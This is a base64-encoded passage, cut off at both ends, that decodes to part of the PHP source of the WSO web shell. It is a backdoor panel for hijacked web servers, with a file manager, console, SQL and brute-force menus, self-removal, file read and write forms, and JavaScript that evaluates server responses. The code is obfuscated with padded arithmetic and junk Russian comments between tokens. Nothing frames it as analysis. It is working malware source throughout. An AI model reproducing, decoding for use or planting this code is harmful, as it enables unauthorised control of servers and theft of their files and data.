XB4O21hcmdpbi1sZWZ0OjVweDtiYWNrZ3JvdW5kLWNvbG9yOiMzMzM7IH0KICAgICAgICBheyB0ZXh0LWRlY29yYXRpb246bm9uZTsgfQogICAgICAgIGE6aG92ZXJ7IHRleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7IH0KICAgICAgICAubWwxeyBib3JkZXI6MXB4IHNvbGlkICM0NDQ7cGFkZGluZzo1cHg7bWFyZ2luOjA7b3ZlcmZsb3c6IGF1dG87IH0KICAgICAgICAuYmlnYXJlYXsgd2lkdGg6MTAwJTtoZWlnaHQ6MzAwcHg7IH0KICAgICAgICBpbnB1dCx0ZXh0YXJlYSxzZWxlY3R7IG1hcmdpbjowO2NvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojNTU1O2JvcmRlcjoxcHggc29saWQgJGNvbG9yOyBmb250OiA5cHQgTW9ub3NwYWNlLCdDb3VyaWVyIE5ldyc7IH0KICAgICAgICBmb3JteyBtYXJnaW46MHB4OyB9CiAgICAgICAgI3Rvb2xzVGJseyB0ZXh0LWFsaWduOmNlbnRlcjsgfQogICAgICAgIC50b29sc0lucHsgd2lkdGg6IDMwMHB4IH0KICAgICAgICAubWFpbiB0aHt0ZXh0LWFsaWduOmxlZnQ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlO30KICAgICAgICAubWFpbiB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiM1ZTVlNWV9CiAgICAgICAgLmwxe2JhY2tncm91bmQtY29sb3I6IzQ0NH0KICAgICAgICAubDJ7YmFja2dyb3VuZC1jb2xvcjojMzMzfQogICAgICAgIHByZXtmb250LWZhbWlseTpDb3VyaWVyLE1vbm9zcGFjZTt9CiAgICA8L3N0eWxlPgogICAgPHNjcmlwdD4KICAgICAgICB2YXIgY18gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuICInOwogICAgICAgIHZhciBhXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydhJ10pIC4gIicKICAgICAgICB2YXIgY2hhcnNldF8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnY2hhcnNldCddKSAuICInOwogICAgICAgIHZhciBwMV8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ3AxJ10sICJcbiIpICE9PSBmYWxzZSkgPyAnJyA6IGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddLCBFTlRfUVVPVEVTKSkgLiAiJzsKICAgICAgICB2YXIgcDJfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydwMiddLCAiXG4iKSAhPT0gZmFsc2UpID8gJycgOiBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSwgRU5UX1FVT1RFUykpIC4gIic7CiAgICAgICAgdmFyIHAzXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDMnXSwgIlxuIikgIT09IGZhbHNlKSA/ICcnIDogaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AzJ10sIEVOVF9RVU9URVMpKSAuICInOwogICAgICAgIHZhciBkID0gZG9jdW1lbnQ7CiAgICAgICAgZnVuY3Rpb24gc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7CiAgICAgICAgICAgIGlmKGEhPW51bGwpZC5tZi5hLnZhbHVlPWE7ZWxzZSBkLm1mLmEudmFsdWU9YV87CiAgICAgICAgICAgIGlmKGMhPW51bGwpZC5tZi5jLnZhbHVlPWM7ZWxzZSBkLm1mLmMudmFsdWU9Y187CiAgICAgICAgICAgIGlmKHAxIT1udWxsKWQubWYucDEudmFsdWU9cDE7ZWxzZSBkLm1mLnAxLnZhbHVlPXAxXzsKICAgICAgICAgICAgaWYocDIhPW51bGwpZC5tZi5wMi52YWx1ZT1wMjtlbHNlIGQubWYucDIudmFsdWU9cDJfOwogICAgICAgICAgICBpZihwMyE9bnVsbClkLm1mLnAzLnZhbHVlPXAzO2Vsc2UgZC5tZi5wMy52YWx1ZT1wM187CiAgICAgICAgICAgIGlmKGNoYXJzZXQhPW51bGwpZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXQ7ZWxzZSBkLm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldF87CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIGcoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKICAgICAgICAgICAgc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsKICAgICAgICAgICAgZC5tZi5zdWJtaXQoKTsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gYShhLGMscDEscDIscDMsY2hhcnNldCkgewogICAgICAgICAgICBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOwogICAgICAgICAgICB2YXIgcGFyYW1zID0gJ2FqYXg9dHJ1ZSc7CiAgICAgICAgICAgIGZvcihpPTA7aTxkLm1mLmVsZW1lbnRzLmxlbmd0aDtpKyspCiAgICAgICAgICAgICAgICBwYXJhbXMgKz0gJyYnK2QubWYuZWxlbWVudHNbaV0ubmFtZSsnPScrZW5jb2RlVVJJQ29tcG9uZW50KGQubWYuZWxlbWVudHNbaV0udmFsdWUpOwogICAgICAgICAgICBzcignIiAuIGFkZHNsYXNoZXMoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIC4gIicsIHBhcmFtcyk7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIHNyKHVybCwgcGFyYW1zKSB7CiAgICAgICAgICAgIGlmICh3aW5kb3cuWE1MSHR0cFJlcXVlc3QpCiAgICAgICAgICAgICAgICByZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKICAgICAgICAgICAgZWxzZSBpZiAod2luZG93LkFjdGl2ZVhPYmplY3QpCiAgICAgICAgICAgICAgICByZXEgPSBuZXcgQWN0aXZlWE9iamVjdCgnTWljcm9zb2Z0LlhNTEhUVFAnKTsKICAgICAgICAgICAgaWYgKHJlcSkgewogICAgICAgICAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7CiAgICAgICAgICAgICAgICByZXEub3BlbignUE9TVCcsIHVybCwgdHJ1ZSk7CiAgICAgICAgICAgICAgICByZXEuc2V0UmVxdWVzdEhlYWRlciAoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnKTsKICAgICAgICAgICAgICAgIHJlcS5zZW5kKHBhcmFtcyk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gcHJvY2Vzc1JlcUNoYW5nZSgpIHsKICAgICAgICAgICAgaWYoIChyZXEucmVhZHlTdGF0ZSA9PSA0KSApCiAgICAgICAgICAgICAgICBpZihyZXEuc3RhdHVzID09IDIwMCkgewogICAgICAgICAgICAgICAgICAgIHZhciByZWcgPSBuZXcgUmVnRXhwKFwiKFxcXFxkKykoW1xcXFxTXFxcXHNdKilcIiwgJ20nKTsKICAgICAgICAgICAgICAgICAgICB2YXIgYXJyPXJlZy5leGVjKHJlcS5yZXNwb25zZVRleHQpOwogICAgICAgICAgICAgICAgICAgIGV2YWwoYXJyWzJdLnN1YnN0cigwLCBhcnJbMV0pKTsKICAgICAgICAgICAgICAgIH0gZWxzZSBhbGVydCgnUmVxdWVzdCBlcnJvciEnKTsKICAgICAgICB9CiAgICA8L3NjcmlwdD4KPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7dG9wOjA7bGVmdDowOyc+CiAgICA8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWM+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDE+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDM+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldD4KICAgIDwvZm9ybT4iOwogICAgJGZyZWVTcGFjZSA9IEBkaXNrZnJlZXNwYWNlKCRHTE9CQUxTWydjd2QnXSk7CiAgICAkdG90YWxTcGFjZSA9IEBkaXNrX3RvdGFsX3NwYWNlKCRHTE9CQUxTWydjd2QnXSk7CiAgICAkdG90YWxTcGFjZSA9ICR0b3RhbFNwYWNlID8gJHRvdGFsU3BhY2UgOiByb3VuZCgwICsgMC4yICsgMC4yICsgMC4yICsgMC4yICsgMC4yKTsKICAgICRyZWxlYXNlID0gQHBocF91bmFtZSgncicpOwogICAgJGtlcm5lbCA9IEBwaHBfdW5hbWUoJ3MnKTsKICAgICRleHBsaW5rID0gJ2h0dHA6Ly9leHBsb2l0LWRiLmNvbS9zZWFyY2gvP2FjdGlvbj1zZWFyY2gmZmlsdGVyX2Rlc2NyaXB0aW9uPSc7CiAgICBpZiAoc3RycG9zKCdMaW51eCcsICRrZXJuZWwpICE9PSAvKiA8RGF2aWQgQmxhaW5lPjog0JjQvdGC0LXRgNC10YHQvdC+Li4uINCh0LTQtdC70LDQuSDQvNC90LUg0L7QtNC+0LvQttC10L3QuNC1LCDQvdCw0LnQtNC4INC60LDRgdGB0LXRgtGDLCDQvdCwINC60L7RgtC+0YDQvtC5INC90LDQv9C40YHQsNC90L4gJ9Cc0LDQu9C10L3RjNC60LjQuSDQrdC50LLQvtC9LCDQsNC/0YDQtdC70Ywg0LLQvtGB0LXQvNGM0LTQtdGB0Y/RgiDRh9C10YLQstGR0YDRgtC+0LPQvicuICovCiAgICAgICAgZmFsc2UKICAgICkgJGV4cGxpbmsgLyogPFBldGVyPjog0KnQsNGBINC/0L7RgdC80L7RgtGA0Y4sINC80L7QttC10YIg0LPQtNC1LdGC0L4g0LXRgdGC0YwuLi4gKi8KICAgICAgICAuPSAvKiA8RGF2aWQgQmxhaW5lPjog0J/QvtGB0LzQvtGC0YDQuCDQsiDQvNCw0LPQvdC40YLQvtGE0L7QvdC1LCDQvtC90LAg0YLQsNC8LiAqLwogICAgICAgIHVybGVuY29kZSgnTGludXggS2VybmVsICcgLiBzdWJzdHIoJHJlbGVhc2UsIHJvdW5kKDApLCByb3VuZCgwICsgMyArIDMpKSk7IGVsc2UgLyogPEF2b24+OiDQp9GRLdGC0L4g0LzQvdC1INC60LDQui3RgtC+INGB0YvQutCw0YLQvdC+Li4uICovCiAgICAkZXhwbGluayAvKiA8UGV0ZXI+OiDQndGDINC4INGH0L4g0YLQsNC60L7Qs9C+LCDQv9GA0L7RgdGC0L4g0LrQsNGB0YHQtdGC0LAsINGF0L7Rg9C8INCy0LjQtNC10L4uLi4g0K8g0YLQsNC8INCyINGC0L7QvCDQstC+0LfRgNCw0YHRgtC1INC10YnRkSDRgdC40YHRjNC60YMg0YHQvtGB0YMuINCS0L7RgiDRjdGC0L7RgiDQutCw0YDQsNC/0YPQtyAtINGPLiAqLwogICAgICAgIC49IC8qIDxBdm9uPjog0JAg0LLQvtGCINGN0YLQviDQvNCw0LzQsCDQrdC50LLQvtC90LAuICovCiAgICAgICAgdXJsZW5jb2RlKCRrZXJuZWwgLiAnICcgLiBzdWJzdHIoJHJlbGVhc2UsIHJvdW5kKDApLCByb3VuZCgwICsgMS41ICsgMS41KSkpOwogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgewogICAgICAgICR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsKICAgICAgICAkdWlkID0gQGdldG15dWlkKCk7CiAgICAgICAgJGdpZCA9IEBnZXRteWdpZCgpOwogICAgICAgICRncm91cCA9ICI/IjsKICAgIH0gZWxzZSB7CiAgICAgICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChwb3NpeF9nZXRldWlkKCkpOwogICAgICAgICRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsKICAgICAgICAkdXNlciA9ICR1aWRbJ25hbWUnXTsKICAgICAgICAkdWlkID0gJHVpZFsndWlkJ107CiAgICAgICAgJGdyb3VwID0gJGdpZFsnbmFtZSddOwogICAgICAgICRnaWQgPSAkZ2lkWydnaWQnXTsKICAgIH0KICAgICRjd2RfbGlua3MgPSAnJzsKICAgICRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7CiAgICAkbiA9IGNvdW50KCRwYXRoKTsKICAgIGZvciAoJGkgPSByb3VuZCgwKTsgJGkgPCAkbiAtIHJvdW5kKDAgKyAwLjUgKyAwLjUpOyAkaSsrKSB7CiAgICAgICAgJGN3ZF9saW5rcyAvKiA8UGV0ZXI+OiDQktC+0YIg0Y8g0YHQvtC/0LvQuCDQv9GD0LfRi9GA0Y/QvNC4INC90LDQtNGD0LLQsNGOLCDQuCDRh9C+PyAqLwogICAgICAgICAgICAuPSAvKiA8QXZvbj46INCV0LPQviDQvNCw0LzQsCDQuCDRidCw0YEg0YXQvtGA0L7RiNC+INCy0YvQs9C70Y/QtNC40YIuICovCiAgICAgICAgICAgICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixcIiI7CiAgICAgICAgZm9yICgkaiA9IHJvdW5kKDApOyAkaiA8PSAkaTsgJGorKykgJGN3ZF9saW5rcyAvKiA8RGF2aWQgQmxhaW5lPjogPNCyINCy0LjQtNC10L46PiDQktC+0YIg0YHRgtC+INC00L7Qu9C70LDRgNC+0LIuINCvINC00L7Qu9C20LXQvSDQktCw0YjQtdC80YMg0YHRi9C90YMuICovCiAgICAgICAgICAgIC49IC8qIDxQZXRlcj46INCk0LDQuiDQvNC+0Lkg0LzQvtGB0LohISAqLwogICAgICAgICAgICAkcGF0aFskal0gLiAnLyc7CiAgICAgICAgJGN3ZF9saW5rcyAvKiA8QXZvbj46INCt0YLQviDRh9GC0L4g0LLQvtC+0LHRidC1INC30LAg0YXRg9C50L3Rjz8hISEhICovCiAgICAgICAgICAgIC49IC8qIDxBdm9uPjog0KLQvtGCINC20LUg0YHQsNC80YvQuSDQuCDRgtCw0Lwg0Lgg0YLQsNC8ISEgKi8KICAgICAgICAgICAgIlwiKSc+IiAuICRwYXRoWyRpXSAuICIvPC9hPiI7CiAgICB9CiAgICAkY2hhcnNldHMgPSBhcnJheSgnVVRGLTgnLCAnV2luZG93cy0xMjUxJywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4NjYnKTsKICAgICRvcHRfY2hhcnNldHMgPSAnJzsKICAgIGZvcmVhY2ggKCRjaGFyc2V0cyAvKiA8UGV0ZXI+OiDQpNCw0Log0LzQvtC5INC80L7RgdC6ISEhICovCiAgICAgICAgICAgICBhcyAvKiA8UGV0ZXI+OiDQkiDRgNC+0YIg0LzQvdC1INC90L7Qs9C4LCDRgtGD0YIg0LLQvtC+0LHRidC1INGH0ZEg0L/RgNC+0LjRgdGF0L7QtNC40YIt0YLQviwg0LA/ISEhICovCiAgICAgICAgICAgICAkaXRlbSkgJG9wdF9jaGFyc2V0cyAvKiA8QXZvbj46INCR0LvQuNC9LCDRjyDQvtCx0L7RgdGB0LDQu9GB0Y8hICovCiAgICAgICAgLj0gLyogPFBldGVyPjog0IHQvNCw0L3QsNGA0L7Rgiwg0YHQtNGA0LjRgdC90Lgg0LLQvtC+0LHRidC1INC+0YLRgdGO0LTQsCwg0LTQtdC80L7QvSwg0LLQsNC70Lgg0L7RgtGB0Y7QtNCwINCyINC/0YDQvtGI0LvQvtC1INC40LvQuCDQsdGD0LTRg9GJ0LXQtSwg0Y8g0L3QtSDQt9C90LDRjiwg0ZHQvNCw0L3QsNGA0L7RgiEgKi8KICAgICAgICAnPG9wdGlvbiB2YWx1ZT0iJyAuICRpdGVtIC4gJyIgJyAuICgkX1BPU1RbJ2NoYXJzZXQnXSA9PSAkaXRlbSA/ICdzZWxlY3RlZCcgOiAnJykgLiAnPicgLiAkaXRlbSAuICc8L29wdGlvbj4nOwogICAgJG0gPSBhcnJheSgnU2VjLiBJbmZvJyA9PiAnU2VjSW5mbycsICdGaWxlcycgPT4gJ0ZpbGVzTWFuJywgJ0NvbnNvbGUnID0+ICdDb25zb2xlJywgJ1NxbCcgPT4gJ1NxbCcsICdQaHAnID0+ICdQaHAnLCAnU3RyaW5nIHRvb2xzJyA9PiAnU3RyaW5nVG9vbHMnLCAnQnJ1dGVmb3JjZScgPT4gJ0JydXRlZm9yY2UnLCAnTmV0d29yaycgPT4gJ05ldHdvcmsnKTsKICAgIGlmICghZW1wdHkoJEdMT0JBTFNbJ2F1dGhfcGFzcyddKSkgJG1bJ0xvZ291dCddID0gJ0xvZ291dCc7CiAgICAkbVsnU2VsZiByZW1vdmUnXSA9ICdTZWxmUmVtb3ZlJzsKICAgICRtZW51ID0gJyc7CiAgICBmb3JlYWNoICgkbSAvKiA8UGV0ZXI+OiDQodC00YDQuNGB0L3QuCDQvtGC0YHRjtC00LAsINCwINGC0L4g0Y8g0LzQtdC90YLQvtCyINCy0YvQt9C+0LLRgywg0LfQsNGP0LLRgyDQvdCwINGC0LXQsdGPINC90LDQutCw0YLQsNGOISAqLwogICAgICAgICAgICAgYXMgLyogPFBldGVyPjog0J/QvtGI0ZHQuyDQvtGC0YHRjtC00LAsINCz0L7QstC90Y7QuiEg0JIg0YDQvtGCINC80L3QtSDQvdC+0LPQuCEgKi8KICAgICAgICAgICAgICRrIC8qIDxPcGVyYXRvcj46INCS0L7RgiDRjdGC0L4g0LLQv9C10YfQsNGC0LvRj9GO0YnQtSDQsdGL0LvQvi4uLiAqLwogICAgPT4gLyogPERhdmlkIEJsYWluZT46INCf0L7QtNC+0LbQtNC4Li4uICovCiAgICAgICAgICAgICAkdikgJG1lbnUgLyogPFBldGVyPjog0J7QvSDQvtCx0L7RgdGB0LDQu9GB0Y8g0L7RgNCw0L3QtiDRgdC+0LTQvtC5ISAqLwogICAgICAgIC49IC8qIDxQZXRlcj46INCSINGA0L7RgiDQvNC90LUg0L3QvtCz0LghISEgKi8KICAgICAgICAnPHRoIHdpZHRoPSInIC4gKGludCkocm91bmQoMCArIDMzLjMzMzMzMzMzMzMzMyArIDMzLjMzMzMzMzMzMzMzMyArIDMzLjMzMzMzMzMzMzMzMykgLyBjb3VudCgkbSkpIC4gJyUiPlsgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJycgLiAkdiAuICdcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+JyAuICRrIC4gJzwvYT4gXTwvdGg+JzsKICAgICRkcml2ZXMgPSAiIjsKICAgIGlmICgkR0xPQkFMU1snb3MnXSA9PSAvKiA8PT09PT1lbmQgb2YgcGFydD09PT09PiAqLwogICAgICAgICd3aW4nCiAgICApIHsKICAgICAgICBmb3JlYWNoIChyYW5nZSgnYycsICd6JykgYXMgLyogPERhdmlkIEJsYWluZT46INCQ0LPQsCwg0LLQvtGCINGN0YLQuCDRgNC10LHRj9GC0LAuLi4gKi8KICAgICAgICAgICAgICAgICAkZHJpdmUpIGlmIChpc19kaXIoJGRyaXZlIC4gJzpcXCcpKSAkZHJpdmVzIC8qIDxEYXZpZCBCbGFpbmU+OiDQrdC5LCDQv9Cw0YDQvdC4LCDRjyDQtNC10LvQsNGOINC+0YHQvtCx0YPRjiwg0YPQu9C40YfQvdGD0Y4g0LzQsNCz0LjRjiAqLwogICAgICAgICAgICAuPSAvKiA8QXZvbj46INCd0LXQvdC10L3QtdC90LXQvdC1ISEgKi8KICAgICAgICAgICAgJzxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJyAuICRkcml2ZSAuICc6L1wnKSI+WyAnIC4gJGRyaXZlIC4gJyBdPC9hPiAnOwogICAgfQogICAgZWNobyAvKiA8RGF2aWQgQmxhaW5lPjog0KXQvtGC0LjRgtC1INC90LXQvNC90L7Qs9C+INCy0L7Qu9GI0LXQsdGB0YLQstCwPyAqLwogICAgICAgICc8dGFibGUgY2xhc3M9aW5mbyBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJT48dHI+PHRkIHdpZHRoPTE+PHNwYW4+VW5hbWU6PGJyPlVzZXI6PGJyPlBocDo8YnI+SGRkOjxicj5Dd2Q6JyAuICgkR0xPQkFMU1snb3MnXSA9PSAvKiA8UGV0ZXI+OiDQl9C90LDQtdGI0YwsINC90LUg0YXQvtGC0LjQvCEgKi8KICAgICAgICAnd2luJyA/ICc8YnI+RHJpdmVzOicgOiAnJykgLiAnPC9zcGFuPjwvdGQ+JyAuICc8dGQ+PG5vYnI+JyAuIHN1YnN0cihAcGhwX3VuYW1lKCksIHJvdW5kKDApLCByb3VuZCgwICsgMjQgKyAyNCArIDI0ICsgMjQgKyAyNCkpIC4gJyA8YSBocmVmPSInIC4gJGV4cGxpbmsgLiAnIiB0YXJnZXQ9X2JsYW5rPltleHBsb2l0LWRiLmNvbV08L2E+PC9ub2JyPjxicj4nIC4gJHVpZCAuICcgKCAnIC4gJHVzZXIgLiAnICkgPHNwYW4+R3JvdXA6PC9zcGFuPiAnIC4gJGdpZCAuICcgKCAnIC4gJGdyb3VwIC4gJyApPGJyPicgLiBAcGhwdmVyc2lvbigpIC4gJyA8c3Bhbj5TYWZlIG1vZGU6PC9zcGFuPiAnIC4gKCRHTE9CQUxTWydzYWZlX21vZGUnXSA/ICc8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+JyA6ICc8Zm9udCBjb2xvcj1ncmVlbj48Yj5PRkY8L2I+PC9mb250PicpIC4gJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ1BocFwnLG51bGwsXCdcJyxcJ2luZm9cJykiPlsgcGhwaW5mbyBdPC9hPiA8c3Bhbj5EYXRldGltZTo8L3NwYW4+ICcgLiBkYXRlKCdZLW0tZCBIOmk6cycpIC4gJzxicj4nIC4gd3NvVmlld1NpemUoJHRvdGFsU3BhY2UpIC4gJyA8c3Bhbj5GcmVlOjwvc3Bhbj4gJyAuIHdzb1ZpZXdTaXplKCRmcmVlU3BhY2UpIC4gJyAoJyAuIChpbnQpKCRmcmVlU3BhY2UgLyAkdG90YWxTcGFjZSAqIHJvdW5kKDAgKyAyMCArIDIwICsgMjAgKyAyMCArIDIwKSkgLiAnJSk8YnI+JyAuICRjd2RfbGlua3MgLiAnICcgLiB3c29QZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSkgLiAnIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycgLiAkR0xPQkFMU1snaG9tZV9jd2QnXSAuICdcJyxcJ1wnLFwnXCcsXCdcJykiPlsgaG9tZSBdPC9hPjxicj4nIC4gJGRyaXZlcyAuICc8L3RkPicgLiAnPHRkIHdpZHRoPTEgYWxpZ249cmlnaHQ+PG5vYnI+PHNlbGVjdCBvbmNoYW5nZT0iZyhudWxsLG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1ZSkiPjxvcHRncm91cCBsYWJlbD0iUGFnZSBjaGFyc2V0Ij4nIC4gJG9wdF9jaGFyc2V0cyAuICc8L29wdGdyb3VwPjwvc2VsZWN0Pjxicj48c3Bhbj5TZXJ2ZXIgSVA6PC9zcGFuPjxicj4nIC4gQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdIC4gJzxicj48c3Bhbj5DbGllbnQgSVA6PC9zcGFuPjxicj4nIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAnPC9ub2JyPjwvdGQ+PC90cj48L3RhYmxlPicgLiAnPHRhYmxlIHN0eWxlPSJib3JkZXItdG9wOjJweCBzb2xpZCAjMzMzOyIgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU+PHRyPicgLiAkbWVudSAuICc8L3RyPjwvdGFibGU+PGRpdiBzdHlsZT0ibWFyZ2luOjUiPic7Cn0KCmZ1bmN0aW9uIC8qIDxBdm9uPjog0J3QtdGCLCDQvdC10YIhINCi0LXQsdC1INC/0L4g0L7RgNC00LXRgNGDINC30LDQv9GA0LXRidC10L3QviDQv9C+0LTQutCw0YLRi9Cy0LDRgtGMINGB0LLQvtC4INC00LXQvNC+0L3RgdC60LjQtSDRj9C50YbQsCDQuiDQvdCw0LwhISAqLwp3c29Gb290ZXIoKQp7CiAgICAkaXNfd3JpdGFibGUgPSBpc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pID8gIiA8Zm9udCBjb2xvcj0nZ3JlZW4nPihXcml0ZWFibGUpPC9mb250PiIgOiAiIDxmb250IGNvbG9yPXJlZD4oTm90IHdyaXRhYmxlKTwvZm9udD4iOwogICAgZWNobyAvKiA8QXZvbj46INCvINC30LLQvtC90Y4g0LzQtdC90YLQsNC8ISAqLwogICAgICAgICIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRhYmxlIGNsYXNzPWluZm8gaWQ9dG9vbHNUYmwgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCUgIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjMzMzO2JvcmRlci1ib3R0b206MnB4IHNvbGlkICMzMzM7Jz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD0nZyhudWxsLHRoaXMuYy52YWx1ZSxcIlwiKTtyZXR1cm4gZmFsc2U7Jz48c3Bhbj5DaGFuZ2UgZGlyOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuICInPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPlJlYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj48dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzTWFuJyxudWxsLCdta2RpcicsdGhpcy5kLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+TWFrZSBkaXI6PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1kPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSwnbWtmaWxlJyk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj48dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI